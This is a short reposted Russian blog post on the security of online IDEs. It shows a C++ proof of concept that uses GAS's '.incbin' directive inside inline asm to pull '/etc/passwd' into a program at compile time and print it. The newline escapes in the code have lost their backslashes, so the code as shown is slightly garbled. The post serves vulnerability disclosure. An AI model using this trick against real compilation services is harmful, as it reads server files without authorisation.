- PVSM.RU - https://www.pvsm.ru -

Online IDE и Local File Inclusion

В последнее время появилось множество online IDE [1] с возможностью компиляции и запуска в том числе и native-приложений. Естественно, возникает вопрос о безопасности таких сервисов. Скомпилированные программы запускаются в песочнице, а вот сама компиляция зачастую происходит в незащищенной среде.

GCC + GAS

GCC позволяет с помощью директивы asm вызывать GAS, у которого есть замечательная инструкция [2] incbin. С ее помощью на этапе компиляции можно включить файл в качестве данных. Тогда exploit для С++ выглядит следующим образом:

#include <stdio.h>

extern "C"

asm(
     ".global _datan"
     ".datan"
     "_data:n"
     ".incbin "/etc/passwd"n"
     ".byte 0"
);

extern const char _data;
const char* data = &_data;

int main() {
    printf("%s", data);
}

Автор: dannote

Источник [3]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/c-3/36953

Ссылки в тексте:

[1] множество online IDE: https://www.google.ru/search?q=c%2B%2B+online+ide

[2] замечательная инструкция: http://linux.web.cern.ch/linux/scientific4/docs/rhel-as-en-4/incbin.html

[3] Источник: http://habrahabr.ru/post/183976/